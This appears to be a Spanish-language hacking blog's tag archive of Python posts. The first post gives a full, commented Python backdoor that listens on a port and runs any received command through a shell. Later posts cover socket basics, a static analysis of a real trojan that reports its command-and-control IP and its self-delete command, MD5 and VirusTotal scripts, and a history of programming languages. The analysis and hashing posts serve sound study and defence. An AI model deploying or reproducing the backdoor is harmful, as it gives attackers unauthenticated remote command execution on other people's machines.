Tag Archive python

BySin Rostro

Creando un backdoor en python

Vamos a crear un backdoor en python馃槇馃槇馃槇馃槇馃槇馃槇馃槇馃槇馃槇, para que nos ayude en nuestras pruebas de pentest, nos servira cuando no podamos hacer uso de otros metodos de backdoring.

 

Este backdoor es de Conexion Directa. Trate de dejarlo lo mas comentado posible Saludos Hackers.

import sys, os
import socket
import getopt
import threading
import subprocess

# Definimos algunas variables globales
listen             = False
command            = False
target             = ""
port               = 0

# Vamos a definir una funcion que nos provea 
# de ayuda
def usage():
    print "\n\tTroyano de Conexion Directa"
    print 
    print "Uso: backdoor.py -t target_host -p port"
    print "-l --listen                       escuchar en [host]:[port]"
    print "-s --shell                      inicializa una shell"
    print
    print
    print "Ejemplos: "
    print "python backdoor.py -t 192.168.1.1 -p 5555 -l -s"
    print "\tPara dejar en escucha una shell"
    print "python backdoor.py -t 192.168.1.1 -p 5555"
    print "\tPara conectarse a una shell"
    print "\nSimple Backdoor de Conexion Directa para los"
    print "Miembros de la Comunidad de Hacking Publico & Sistemas Informaticos"
    print "el Creador de este codigo o cualquier Miembro de Hacking Publico"
    print "NO se hacen responsables por el uso que le puedan dar a este codigo,"
    print "el cual esta hecho con fines Educativos."
    sys.exit(0)

# Funcion que se encargara de el cliente
# osea la computadora que se conecta al 
# backdoor 
def client_sender():
    # Creamos el socket
    cliente = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    try:
        # Hacemos la conexion al servidor/backdoor
        cliente.connect((target, port))
        # Aqui solo te pregunto tu nickname
        nickname = raw_input("Cual es tu nickname ? ")
        # Lo concateno (Tu nick) con otra cadena
        nickname += "@hacker ~:#"
        # Envio un whoami (Para que sepamos que 
        # usuario somos en el equipo comprometido)
        cliente.send("whoami")
        # Recibimos el usuario
        usuario = cliente.recv(1024)
        # Y lo imprimimos
        print "Eres el usuario: \t%s" % usuario
        
        while True:
            # Esperamos por mas input           
            buff = raw_input("%s " % nickname)
            
            # Enviamos comando
            cliente.send(buff)
            # El data es la respuesta del comando 
            # que Enviamos
            data      = cliente.recv(1024)

            print data
            
            # Si el comando es "exit"
            # nos desconectamos del servidor/backdoor
            # si es limpiar pantalla 
            # la limpiamos 
            try:
                if "exit" in buff:
                    cliente.send("exit")
                    cliente.close()
                    print "Bye, Bye!!!"
                    break     
                if "cls" or "clear" in buff:
                    if os.name('nt'):
                        os.system("cls")
                    else:
                        os.system("clear")
            except:
                continue
                        
    except:
        # Si hubo un error se produce una Excepcion
        # y salimos del script
        print "[*] Excepcion! Saliendo!!!"
        cliente.close()
        
def server_loop():
    global target
    
    # Si no indicamos la opcion -t
    # el server toma esta direccion
    if not len(target):
        target = "0.0.0.0"
    
    # Creamos el socket para las conexiones 
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((target, port))
    server.listen(5)
    
    # Creamos un hilo por cada cliente que se conecte
    try:
        while True:
            client_socket, addr = server.accept()
            
            client_thread = threading.Thread(target=client_handler,
                                             args=(client_socket,))
            print "[*] Nuevo cliente conectado %s" % socket.gethostname()
            client_thread.start()
            
    except KeyboardInterrupt:
        print "Se ha detenido el server"
        sys.exit(1)        
        
        
def run_command(command):

    command = command.rstrip()

    
    try:
        output = subprocess.check_output(command, stderr=subprocess.STDOUT, 
                                         shell=True)
    except:
        output = "Fallo al ejecutar el comando.\r\n"
 
    return output

def client_handler(client_socket):
    global command
     
    if command:
        while True:
            

            cmd_buff = client_socket.recv(1024)

            if "exit" in cmd_buff:
                print "El cliente %s se DESCONECTO." % socket.gethostname()
                client_socket.close()
                break                    
            
            response = run_command(cmd_buff)
            
            client_socket.send(response)
            
def main():
    global listen
    global port
    global command
    global target
    
    # aqui verificamos que el usuario haya
    # dado opciones, si no, imprime el modo
    # de uso (funcion usage() )
    if not len(sys.argv[1:]):
        usage()
    
    # Si el usuario dio opciones las leemos 
    # para verificar que sean validas, despues 
    # ejecutar lo correspondiente
    try:
        opts, args = getopt.getopt(sys.argv[1:], "hlt:p:s", ["help", "listen", "target",
                                                             "port", "shell"])
    except getopt.GetoptError as err:
        print str(err)
        usage()
    
    for o,a in opts:
        if o in ("-h", "--help"):
            usage()
        elif o in ("-l", "--listen"):
            listen = True
        elif o in ("-s", "--shell"):
            command = True
        elif o in ("-t", "--target"):
            target = a
        elif o in ("-p", "--port"):
            port = int(a)     
        else:
            assert False, "Opcion no valida"
            
    if not listen and len(target) and port > 0:
        client_sender()
    if listen:
        server_loop()

main()

 

Byaruzat

(parte 1) Sockets con Python.

Hola, ya llevo un tiempo de inactividad dentro de la p谩gina, pero vuelvo con mas ganas y con mas aprendizajes. En este caso vamos a hablar de los “sockets con python” una rama muy interesante y de verdad, muy divertida de python, pero primero…

驴Qu茅 son los sockets?

Los sockets de Internet constituyen el mecanismo para la entrega de paquetes de datos provenientes de la tarjeta de red a los procesos o hilos apropiados. Un socket queda definido por un par de direcciones IP local y remota, un protocolo de transporte y un par de n煤meros de puerto local y remoto.

Entonces se podr铆a decir que un socket es un paquete en espa帽ol, algo que tiene un destino, un inicio, el puerto por donde va a ir y el protocolo.

Empezando con la programaci贸n:

 

CLIENTE

 

  • Primeramente vamos a importar la libreria “socket”.
import socket

 

 

  • Despues vamos a definir un socket de flujo, para concordar nuestra conexi贸n con envio de datos TCP ( “s” es la variable de la conexi贸n,聽 AF_INET es la conexi贸n a internet y SOCK_STREAM define el uso de protocolo TCP)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

 

 

  • Luego utilizamos la variable “s” y le asignamos una IP y un PUERTO, esto hara que el cliente busque el servidor y haga la conexi贸n exitosa.
s.connect(("192.168.0.101", 7777))

 

 

  • Seguidamente vamos a crear un “While” el cual va a capturar un mensaje a trav茅s de un raw_input y va a mandarlo hac铆a el servidor definido. (“s.send(mensaje)” va a mandar la variable mensaje al servidor definido anteriormente).
while True:
    mensaje = raw_input("Escribe un mensaje: ")
 
    s.send(mensaje)
 
    if mensaje == "cerrar":
        break

 

 

  • Finalmente luego del break se cerrara la conexi贸n, dando por terminada la misma.
s.close()

 

SERVIDOR

 

  • Para hacer m谩s r谩pido el proceso, el servidor voy a comentar todo sobre las lineas de codigo, es practicamente lo mismo, nada m谩s que va a recibir la informaci贸n en vez de enviarla.
import socket
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
s.bind(("", 7777)) #Va a escuchar conexiones del puerto 7777 y de cualquier IP.
 
s.listen(5) #Se pone en modo de escucha a las conexiones entrantes y las limita a 5.

sc, addr = s.accept() #Instanciamos un objeto sc (socket cliente) para recibir datos, al recibir datos este devolvera tambien un objeto que representa una tupla con los datos de conexion: IP y puerto
 
while True:
 
    recibido = sc.recv(1024)
 
    if recibido == "cerrar":
        break
 
    print str(addr[0]) + " dice: ", recibido
 
sc.close()
s.close()

 

Aclaraci贸n:

Tanto el SERVIDOR como el CLIENTE, deben ir separados y ambos guardador con extenci贸n “.py”.

 

Bien, esta es la parte 1 de sockets con python, en la parte 2 vamos a ver como aplicar esto mismo con threads para aceptar varias conexiones y hacer un chat dinamico, mucha suerte!

BySin Rostro

Reversing en Malware 3 – An谩lisis est谩tico

Bueno, bueno, ya por fin comenzaremos con la practica, no es que no quiera pasar de lleno a ella, si no que quiero que queden claros algunos recursos que usaremos. Adem谩s podemos aprender m谩s cosas as铆聽馃.

Sin han llegado hasta aqu铆 sin haber le铆do mis 2 anteriores post les recomiendo ir r谩pidamente all谩 y leerlas porque est谩n geniales aqu铆 tienes el Primer Post y ac谩 tienes el Segundo Post.

An谩lisis Est谩tico

Ok, lo primero que har茅 ser谩 dejar una serie de cosas que debemos (aunque sea una hip贸tesis) obtener con este an谩lisis. Est谩n en el orden en que yo las har铆a. As铆 que si encuentras la ultima o la 3ra no importa pero si deber铆amos tener la mayor铆a si no es que todas 馃槈.

1.- Informaci贸n del archivo (tipo de archivo, cabeceras, tama帽o, etc)
2.- Hashing y an谩lisis con VirusTotal
3.- PE Informaci贸n (DLLs, Librer铆as, etc)
4.- Recolecci贸n de Strings
5.- Ejecuci贸n del archivo
6.- Captura Trafico de Red
7.- 驴驴Como ha llegado ah铆??

Ya hab铆a pasado el link del primer archivo con el que trabajaremos pero por si acaso no lo has descargado aqu铆 esta de nuevo recuerden que la contrase帽a es “hpsi”.

1.- Informaci贸n del archivo

Ya lo he descargado y comenzare abriendo el archivo desconocido (a煤n) con un editor hexadecimal estoy usando HxD – Hexeditor. Y esto es lo que veo cuando le cargo el archivo desconocido.

Como se pueden dar cuenta la cabecera del archivo me dice MZ, si eres de los que alguna vez a realizado wargames de esteganograf铆a sabr谩n casi inmediatamente de que tipo de archivo se trata si no, les dejo una lista del inicio las cabeceras de algunos archivos.

.PNG聽 聽 聽 聽 聽 聽 聽聽聽聽聽聽聽聽 PNG聽 聽|END
.GIF聽 聽 聽 聽 聽 聽 聽聽聽聽聽聽聽聽聽聽 GIF聽 聽|END
.JPG/JPEG聽 聽 聽聽聽聽 每脴每脿聽 聽每脵
.BMP聽 聽 聽 聽 聽 聽 聽聽聽聽聽聽聽 BM
.EXE聽 聽 聽 聽 聽 聽 聽 聽 聽 聽聽 Mz
.MP3聽 聽 聽 聽 聽 聽聽聽聽聽聽聽聽聽 ID3
.RAR聽 聽 聽 聽 聽 聽 聽聽聽聽聽聽聽 Rar
.ZIP聽 聽 聽 聽 聽 聽 聽聽聽聽聽聽聽聽聽 Pk
.PDF聽 聽 聽 聽 聽 聽聽聽聽聽聽聽聽聽 %PDF

Bueno con esto podemos decir que el tipo de archivo es un .EXE, un ejecutable del OS win2, as铆 que podemos agregarle la extensi贸n a ese archivo el cual se vera as铆.

2.- Hashing y an谩lisis en VT

Bien ahora quisiera pasarlo al script de python que creamos en el post anterior y ver que resultados nos arroja.

Baya si que es un chico peligroso, como pueden ver de los 63 tests, 59 fueron True osea que fue amenaza positiva y la mayor铆a me dice que es un troyano/backdoor as铆 que ya podemos ir imaginando que es lo que este chico hace.

3.- PE informaci贸n

Ok, veamos que nos devuelve la informaci贸n del PE en este caso usare dos herramientas para que vean que esta cosa del an谩lisis es muy vers谩til 馃槀馃槀.

La primera es PEview veamos que es lo que esta importando.

Ok en este programa esta haciendo 5 importaciones veamos en el segundo que nos devuelve.

EL programa se llama CFF explorer.

Bueno al parecer no hay problema en eso ya que nos devuelve los mismos resultados ustedes eligen 馃榿馃榿

Ok, Ok, 驴驴Bueno pero para que me sirve saber esto de las importaciones?? se estar谩n preguntando. La respuesta es sencilla, para saber que es lo que planea hacer el archivo.exe.

Por ejemplo la DLL 5 osea la WS2_32.dll le permite al .exe configurar conexiones de red ya que esta DLL configura sockets como lo podemos leer aqu铆.

4.- Strings

Muy bien hagamos una recopilaci贸n de informaci贸n que tenemos hasta ahora:

El archivo desconocido ya no lo es m谩s, ya que identificamos que era un .EXE,

sabemos que la mayor铆a de los antivirus lo reconocen como troyano/backdoor,

que importa 5 DLLs y que una de ellas es usada para crear o configurar conexiones de red,

vaya, si que parece un troyano 馃槇馃槇.

Ahora deber铆amos tratar de averiguar a donde es que hace esa conexi贸n, si es que la hace.

Con la obtenci贸n de strings podr铆amos averiguar eso y otras cosas m谩s.

Un ejemplo, si el archivo manda un mensaje al ser ejecutado…, podr铆amos saber que es lo que este dice o si crea una carpeta o ingresa a una ruta cual es el nombre de estas, etc, etc. El problema aqu铆 como en cualquier caso de Ingenier铆a Reversa claro, ser谩 la cantidad de strings que se puedan obtener ya que esta puede ser extremadamente grande y en ocasiones nos puede confundir en lugar de ayudarnos.

Vamos pues a ello, utilizare esta vez la herramienta llamada Bin Text pero de nuevo ustedes pueden usar la que crean conveniente. Esto es lo que me arroja.

Esas 4 llaman mi atenci贸n (Bueno hay mas pero por ahora no lo mencionare 馃槈).

  1. http://www.ueopen.com/test.html
  2. cmd.exe
  3. /c del
  4. 60.248.52.95:443

Algunas de las otras me dan una idea de como es que trabaja pero estas 4 son muy llamativas al ojo, 驴No creen?

Bueno ya con estas cadenas de texto podr铆amos suponer que hace 2 conexiones una a la URL y otra a la direcci贸n IP y que probablemente borre nuestro disco duro 馃槺馃槺馃槺馃槺 jajaja no, no, bromeo cmd /c indica un comando en este caso del., el cual s铆 quiere decir borrar (delete) pero aun no se que exactamente, 驴驴tal vez la siguiente linea que esta abajo de ese string??

Bueno mientras son peras o son manzanas pasemos al siguiente punto.

5.- Ejecuci贸n del archivo

Nota importante:.

Estoy trabajando en Virtual Environment (Entorno virtual) osea que si se me jode el sistema, tengo la posibilidad de recuperarlo, siempre y cuando tenga configurado un snapshot.

Espero no me juzguen por mi paradoja de lo virtual que intento explicar con la imagen 馃槄馃槀馃槬.

Bien explicando un poco mejor, estoy virtualizando un sistema Win2, dentro de ese sistema operativo win2 he creado un punto en donde he preservado el estado actual de la m谩quina, sus dispositivos, documentos, configuraciones, etc. Por supuesto, puedes crear snapshots dentro de los snapshots, por eso dec铆a eso de las paradojas, por que es como si crearas 2 o 3 o mas realidades que afectan a ese sistema operativo win2. Una imagen vale m谩s que 1000 palabras.

Puedes regresar a cualquier estado al cual le tengas hecho un snapshot, claro siempre y cuando no est茅 da帽ado 馃槀.

Bueno continuando con lo que nos interesa es momento de correr nuestro debian 64 bits y corroborar que existe conexi贸n entre las dos m谩quinas.

Muy bien tengo conexi贸n de win2 a Debian, ahora har茅 un snapshot de este punto antes de ejecutar el archivo.

Mientras tanto en Debian tengo corriendo wireshark y veo que a capturado el ping que he realizado, confirm谩ndome que efectivamente hay conexi贸n entre las m谩quinas.

Muy bien corro el archivo y esto es lo que sucede.

Obtenemos las capturas de estos paquetes, he se帽alado 3 cosas., de izquierda a derecha,

tenemos la direcci贸n IP del Win2,

la direcci贸n IP a la que el malware intenta hacer la conexi贸n,

el Puerto Local que ha usado el malware en Win2

y por ultimo el puerto Remoto de la direcci贸n IP posible del C&C.

He realizado la misma captura pero desde el mismo Win2 y obviamente son los mismo resultados.

Noten que el archivo mientras era ejecutado y hacia las debidas conexiones sigue estando en el escritorio pero una vez terminada esas tareas ha desaparecido, bueno en realidad ha sido eliminado por el mismo.

Resumiendo,

podemos decir que con la ayuda PEview obtuvimos la muy posible fecha de compilaci贸n del archivo, no podemos afirmar con toda certeza pero al menos tenemos una fecha estimada.

Ok veamos.

- fecha: 2009/05/14
- Lenguaje: Microsoft Visual C++ 6.0
- Strings encontradas(Ahora si a帽adir茅 una m谩s):
   - 60.248.52.95:443 # Host y puerto al que conecta
   - http://www.ueopen.com/test.html # ?? Probablemente url de test para conexion ???
   - cmd.exe # Referencia hacia la consola de windows 
   - /c del  # Comando para su auto-eliminaci贸n (delete itself  "cmd.exe /c $PATH > null")
   - *(SY)#  # Usado posiblemente para generar una Shell remota
- Despues de correr el archivo:
   - conecta a 60.248.52.95
   - genera una Shell inversa
   - y se auto elimina
- Con la informaci贸n que hemos recolectado no podr铆amos decir como ha llegado
  ese archivo a la computadora, quiero decir, si ha sido enviado por medio 
  de phishing, un downloader lo a descargado, venia empaquetado con otra app,
  o de plano nos lo hemos bajado nosotros tratando de encontrar el crack para
  plant Vs zombies o alguna otra herramienta de softonic... 
  

Y podemos decir que nuestras hip贸tesis acerca de lo que este archivo realizaba estaban bien fundadas, bueno eso y adem谩s que el an谩lisis con virustotal tambi茅n nos dijo eso 馃槀馃槀馃槀.

Bueno hasta aqu铆 creo que es un buen inicio en an谩lisis est谩tico hay muchas cosas mas que afrontar en este tipo de an谩lisis pero como dije es una introducci贸n ya iremos adentrando m谩s en ello.

Saludos Hackers y hasta la pr贸xima.

BySin Rostro

Reversing en Malware 2 – Hashing.

Un hash es un algoritmo matem谩tico que es generado/creado a partir de una entrada como un texto, una contrase帽a o un archivo. Pero hoy lo usaremos en an谩lisis de malware 馃槇.

驴NOS SIRVE EN AN脕LISIS DE MALWARE?

La respuesta es si.

Los hash son generados tomando bloques de datos arbitrarios y devolviendo una serie de caracteres con una longitud especifica. Es decir que a partir de los datos de entrada se genera la cadena que solo puede volverse a generar con esos mismos datos. Bueno en teor铆a eso debe de pasar pero en algunos casos como el de SHA1 que en meses anteriores ha sido colisionado por Investigadores de Google.

Aun as铆 existen muchos m谩s algoritmos. En nuestro caso vamos a estar utilizando MD5. 驴Pero? que es exactamente y como es que funciona.

Ya saben que no me gusta atiborrarlos de informaci贸n adem谩s de que no estamos en un curso de cifrado 馃槅, as铆 que tratare de explicarles en practica.

Imagina que estas descargando un archivo “juego.exe”, en la p谩gina del desarrollador menciona que el MD5 es:

8033E2DDE927771A125F26A158C282A3

Pero al descargarlo te das cuenta de que el MD5 que generas tu con ese mismo archivo es:

5F778048775E0ECE6DBB97B6997019B2

Claramente no es igual lo que nos da a pensar de acuerdo a la introducci贸n de m谩s arriba, que el archivo tiene bloques de datos diferentes al archivo que han desarrollado los creadores, con esto podr铆amos concordar en que este archivo puede contener c贸digo que bien podr铆a o no, ser malicioso 馃槇馃槇.

Pasemos a la practica 馃槈

Tengo aqu铆 un archivo.

Utilizare una utilidad llamada “QuickHash”

Despu茅s de abrir el archivo con la utilidad y elegir MD5 nos genera la cadena correspondiente a ese archivo

Y as铆 de sencillo podr铆amos obtener el MD5 de los archivos. Bien con eso ya sabemos una manera de obtener MD5, pero para que nos sirve el MD5 en an谩lisis de malware?

Bueno imagina que este archivo es un sample que tienes que analizar, para no subir el archivo completo a un motor de b煤squeda que te ayude a saber si es o no una amenaza (ya sabes puede pesar mucho y aveces nuestras datas no alcanzan 馃槀), bueno pues con el MD5 podemos averiguar lo que queremos.

Para ello usaremos un sitio bastante conocido virusTotal y con el MD5 obtenido veremos los resultados que nos arroja.

Quiero que vean algo, el primer par谩metro, el que esta arriba del nombre del archivo dice:

SHA256: 46532f3def025aca4da1fa5646f5d19fafb2ec00e3b262ad87712ec6756902f9

Este es un tipo de hash yo ingrese el MD5 no el SHA256. Lo que sucede es que ese motor de b煤squeda calcula adem谩s del MD5 otros datos para que se tenga total certeza de que hablamos del mismo:

Y ahora mi parte Favorita 馃槏

Hazlo con python 馃榿

He desarrollado un peque帽o script en python que nos calcula el MD5 del archivo.

# Script en python para calcular Hash MD5
# Analizar Samples
# Desarrollado por Eric Alberto Mart铆nez
# Hacking Publico & sistemas inform谩ticos
# AguasHack - No Hacking No Fun
# Versi贸n 1.0
''' Este script permite calcular el Hash MD5 de archivos
  
    el c贸digo puede ser manipulado y/o copiado manteniendo las 
    11 primeras lineas de c贸digo.
''' 

# Importar librer铆as
import hashlib

# Acontinuaci贸n creamos una funci贸n
# que nos permitira abrir un archivo leer
# sus datos y generar su Hash MD5
 
def calcularMd5(archivo):
  archivo = open(archivo, 'rb')
  print "\nEl MD5 es: " + hashlib.md5(archivo.read()).hexdigest()
  archivo.close()

print "Hola, Ingresa la ruta del archivo"
archivo = raw_input("\n::> ")
calcularMd5(archivo)

Y., uno m谩s un poco mejor elaborado, con este script interactuamos con el sitio de Virus Total para obtener los resultados del sitio. El script aun esta en desarrollo le quiero dar un poco m谩s de formato, teniendo en cuenta que lo acaba de crear creo que es funcional y para nuestras pruebas durante las pr贸ximas entradas sera suficiente.

Como puedes ver son los mismos resultados que nos genero en la web de virustotal

– Nota:聽 Trate de dejarlo lo m谩s simple posible le a帽ad铆 comentarios a casi todo el c贸digo para que sea un poco m谩s f谩cil de entender.

# Analizar Samples 
# Api VirusTotal
# Desarrollado por Eric Alberto Martinez
# Hacking Publico & sistemas informaticos
# AguasHack - No Hacking No Fun
# Version 1.0
''' Este script permite calcular el Hash MD5 de archivos
    y manipular los resultados obtenidos en Virus Total,
    el codigo puede ser manipulado y/o copiado manteniendo las 
    11 primeras lineas de codigo.
''' 
# Importamos librerias

import requests
import hashlib

# Tu llave API de virus Total (Tienes que registrarte)
apiKey = ''
    
# clase para obtener datos o subir archivos
class virusApi:
    

    # Funcion para escanear un archivo
    def escanear(self, apiKey, archivo):
        print "Analisando el archivo...\n"
        # Configuramos la APIKEY
        params = {'apikey': apiKey}
        # Abrimos el archivo en modo binario                                    
        files = {'file': (archivo, open(archivo, 'rb'))} 
        # Hacemos la peticion al sitio              
        response = requests.post('https://www.virustotal.com/vtapi/v2/file/scan', 
                                files=files, params=params)
        # obtenemos la respuesta del sitio
        json_response = response.json()                                 
    
    # Funcion para Re-escanear
    def rescanear(self, apiKey, md5):
        # confirguramos la APIKEY y el hashMD5
        params = {'apikey': apiKey, 
                'resource': md5}                                        
        # Hacemos la peticion al sitio
        response = requests.post('https://www.virustotal.com/vtapi/v2/file/rescan',
                                params=params)
        # Obtenemos la Respuesta del sitio                          
        json_response = response.json()                                 
    
    # Funcion para Obtener los resultados de un analisis
    def obtenerResultados(self, apiKey, md5):
        print "Obteniendo Resultados...\n"
        # Configuramos la APIKEY y el HashMD5
        params = {'apikey': apiKey, 
                'resource': md5} 
        # Creamos las cabeceras                                     
        headers = {
          "Accept-Encoding": "gzip, deflate",
          "User-Agent" : "gzip,  Mi Aplicacion python para VirusTotal"
          }     
        # hacemos la peticion al sitio                                                      
        response = requests.get('https://www.virustotal.com/vtapi/v2/file/report',
                                params=params, headers=headers)
        # obtenemos la respuesta del sitio      
        json_response = response.json() 
        # obtenemos solo las claves de la respuesta                             
        claves = json_response.keys()   
        # declare una variable                              
        x = 'scans'     
        # ciclo para obtener los primeros resultados excepto los de la deteccion                                                 
        for clave, valor in json_response.items():  
            # si la clave no es igual a 'scans'                 
            if clave != x:
                # imprimimos los primeros resultados                                                
                print clave, ':\t\t', valor
        # declaramos una lista                          
        lista = []
        # ciclo para obtener las claves del segundo resultado                                                       
        for i in json_response['scans'].keys(): 
            # agrega cada clave a la lista                              
            lista.append(i) 
            # Reasignamos la variable                                           
            j = json_response
            # Variable que contiene si el archivo es detectado o no p/c antivirus                                           
            detectado = str(j['scans'][i]['detected'])
            # Variable que contiene el tipo de amenaza que es detectada p/c antivirus                  
            resultado = str(j['scans'][i]['result'])
            # imprimimos el resultado                   
            print i + "\t\t" + detectado + "\t\t" + resultado           

# Instanciamos la clase
virusTotal = virusApi()                                                 
'''
Creo que apartir de aqui el codigo no necesita explicacion
ya que son cosas basicas que son faciles de entender, aun 
asi si existen dudas no duden en comentar en el grupo de
Hacking Publico & sistemas informaticos
'''
print "\nHola, Bienvenido\nQue deseas hacer?"
print '''
[1] Escanear
[2] Re Escanear
[3] Obtener resultados
'''
eleccion = raw_input("\n::> ")
if eleccion == '1':
    archivo = raw_input("\nIngresa la ruta del archivo \n::> ")
    virusTotal.escanear(apiKey, archivo)                                
    archivo = open(archivo, 'rb')
    # Calculamos el MD5 del archivo                                     
    md5 = hashlib.md5(archivo.read()).hexdigest()                       
    archivo.close()
    print "El hashMD5 del archivo es: " + md5
    virusTotal.obtenerResultados(apiKey, md5)
elif eleccion == '2':
    archivo = raw_input("\nIngresa la ruta del archivo \n::> ")
    archivo = open(archivo, 'rb')
    # Calculamos el MD5 del archivo
    md5 = hashlib.md5(archivo.read()).hexdigest()
    archivo.close()
    print "El hashMD5 del archivo es: " + md5
    virusTotal.rescanear(apiKey, md5)
    virusTotal.obtenerResultados(apiKey, md5)
else:
    archivo = raw_input("\nIngresa la ruta del archivo \n::> ")
    archivo = open(archivo, 'rb')
    # Calculamos el MD5 del archivo
    md5 = hashlib.md5(archivo.read()).hexdigest()
    archivo.close()
    print "El hashMD5 del archivo es: " + md5
    virusTotal.obtenerResultados(apiKey, md5)

Bueno hasta aqu铆 esta entrada creo que lo han tomado bien,聽馃槄馃槄 nos leemos en la pr贸xima entrada.

Saludos Hackers!

BySin Rostro

Intro a Python 2

Bueno pues esta vez les traigo la segunda parte de la introducci贸n a python, hablamos acerca de Scapy y lo poderoso que puede llegar a ser si se aprende a usar de forma correcta y de como es posible remplazar con este muchas de las herramientas de red que existen y por ultimo les muestro lo que se puede llegar a realizar con un script de python }:)

Movi茅ndonos con Scapy

BySin Rostro

Intro a python

Hablamos sobre el interprete y las caracter铆sticas b谩sicas de python, como los tipos de datos, como trabajar con listas, funciones, ciclos, estructuras de control y todo lo b谩sico que debes de saber聽 para poder adentrarse a este maravilloso lenguaje. Ven acompa帽anos a este maravilloso viaje.

Introducci贸n a Python

Bycarenki

Lenguajes de programaci贸n -y II

Breve Semblanza de Lenguajes de Programaci贸n

Existen cientos de lenguajes de programaci贸n, por lo que resulta ocioso para este tipo de escrito hacer una relaci贸n detallada de dichos lenguajes, adem谩s muchos de ellos son dialectos o implementaciones espec铆ficas de los mismos para m谩quinas espec铆ficas.

Dicho esto, solo se har谩 una descripci贸n general de algunos de los programas m谩s representativos e importantes que existen o han existido.

Lenguaje Ensamblador

Ya mencion茅 el lenguaje ensamblador, que puede considerarse el primer lenguaje de programaci贸n que existi贸 despu茅s del lenguaje m谩quina. A principios de los 50 se cre贸 una notaci贸n simb贸lica, denominada c贸digo de ensamblaje (ASSEMBLY), al principio, la traducci贸n del c贸digo de ensamblaje al c贸digo m谩quina se realizaba manualmente, pero enseguida se vio que el ordenador tambi茅n pod铆a encargarse de esa traducci贸n; se desarroll贸 as铆 un programa traductor, llamado ensamblador (ASSEMBLER). Cabe se帽alar que existe uno o varios ensambladores para cada microprocesador.

聽Conforme se difundi贸 el uso de las computadoras en las empresas y universidades el uso del lenguaje ensamblador fue reemplazado por otros m谩s sencillos de aprender y m谩s c贸modos de emplear. Estos lenguajes, llamados de alto nivel, tienen una estructura que se adapta m谩s al pensamiento humano que a la forma de trabajar del ordenador.

Programa Hola Mundo en Lenguaje Ensamblador

Programa Hola Mundo en Lenguaje Ensamblador

 

PLANKALK脺L

Podr铆amos decir que es el antepasado de los modernos lenguajes de programaci贸n. Fue creado por Konrad Zuse, a mediados de los 40, para su serie de m谩quinas Z. Su nombre es una combinaci贸n de las palabras Plan y Kalk眉l, as铆 que podr铆a traducirse por “plan de c谩lculo”.

Programa Hola Mundo en Lenguaje Plankalk眉l

Programa Hola Mundo en Lenguaje Plankalk眉l

 

SHORT CODE

Bas谩ndose en las ideas de John W. Mauchly, William F. Schmitt cre贸 este lenguaje interpretado en 1950 y fue utilizado en la primera serie de UNIVAC. Es considerado el precursor de los lenguajes de alto nivel.

Programa Hola Mundo en SHORT CODE

Funci贸n en SHORT CODE

 

FORTRAN

En 1956 John Backus termin贸 el compilador FORTRAN (FORmula TRANslator) y se incluy贸 en el IBM 704, junto con un manual de 51 p谩ginas. Este lenguaje estaba basado en el programa SPEEDCODING desarrollado por 茅l para uso personal.

Como su nombre indica, FORTRAN estaba (y est谩) destinado a la resoluci贸n de problemas cient铆fico-t茅cnicos, resultando relativamente sencillo de aprender si se domina la notaci贸n matem谩tica.

Este lenguaje se ha visto superado por los lenguajes modernos, sin embargo, se sigue utilizando, sobre todo en el 谩mbito universitario. 驴Por qu茅? La respuesta radica en la gran biblioteca de subrutinas y funciones que se ha ido creando en sus m谩s de cincuenta a帽os de existencia.

Programa Hola Mundo en Fortran

Programa Hola Mundo en Fortran

 

ALGOL

El objetivo de ALGOL fue obtener un lenguaje universal, que no dependiera de la m谩quina donde se implementara, se form贸 un comit茅 internacional, formado por la ACM (Association for Computing Machinery) y la GAMM (siglas alemanas de la Sociedad para las Matem谩ticas aplicadas), que, en 1958, public贸 en Zurich un informe dando carta de nacimiento al IAL (International Algebraic Language), posteriormente denominado ALGOL 58 (ALGOritmic Language). Su versi贸n operativa se present贸 en Paris en 1960 y, m谩s adelante, fue perfeccionada (ALGOL 68). Aunque ha ca铆do en desuso, su influencia ha sido decisiva en el desarrollo de los lenguajes de programaci贸n posteriores, ya que muchos de los m谩s importantes (PASCAL, C, ADA, JAVA, etc.) descienden, directa o indirectamente, de ALGOL.

Programa Hola Mundo en Algol

Programa Hola Mundo en Algol

 

COBOL

COBOL se desarroll贸 a partir de una iniciativa del Departamento de Defensa de Estados Unidos, patrocin贸 una conferencia sobre lenguajes (CODASYL, COnference on DAta SYstems Languages), en 1959 y en la que participaron las grandes empresas del sector (IBM, Sperry Rand, Honey Well, etc.). Fruto de aquella conferencia fueron las especificaciones para desarrollar COBOL (COmmon Business Oriented Language), un lenguaje orientado hacia funciones administrativas, de gran portabilidad y legibilidad. Su primera versi贸n apareci贸 al a帽o siguiente. COBOL tiene una sintaxis muy similar al ingl茅s com煤n.

En la actualidad, COBOL se utiliza casi exclusivamente en algunos grandes sistemas inform谩ticos (entidades bancarias, sobre todo), si bien m谩s para mantener el c贸digo existente que para desarrollar nuevas aplicaciones.

Programa Hola Mundo en Cobol

Programa Hola Mundo en Cobol

 

PL/I

Este lenguaje fue desarrollado por IBM, a partir de 1963, que deseaba un lenguaje polivalente, en el sentido de que pod铆a aplicarse tanto a gesti贸n como al 谩mbito cient铆fico. Buscando aunar las ventajas de COBOL, FORTRAN y ALGOL, PL/I result贸 un lenguaje muy flexible y potente, por lo que todav铆a sigue en uso.

Programa Hola Mundo en PL/I

Programa Hola Mundo en PL/I

 

BASIC

John G. Kemeny y Thomas E. Kurtz en 1964, dise帽aron un nuevo lenguaje que permitiera introducirse a sus estudiantes en los sistemas de tiempo compartido. Ese lenguaje, al que llamaron BASIC por su sencillez5, es, sin duda, el m谩s difundido, aplic谩ndose tanto en tareas de gesti贸n como en aplicaciones cient铆ficas.

No era el mejor lenguaje ni el m谩s potente, pero ten铆a dos ventajas a su favor: se trataba de un lenguaje sencillo de aprender y, adem谩s, su int茅rprete ocupaba poca memoria. Por estos motivos, cuando se cre贸 la primera computadora personal (Altair de MITS), no es extra帽o que se desarrollase un BASIC para 茅l. BASIC ha evolucionado hasta nuestros tiempos siendo el dialecto m谩s popular Visual Basic que ha incorporado todos los paradigmas modernos de programaci贸n logrando que contin煤e vigente.

Programa Hola Mundo en Basic

Programa Hola Mundo en Basic

 

SIMULA

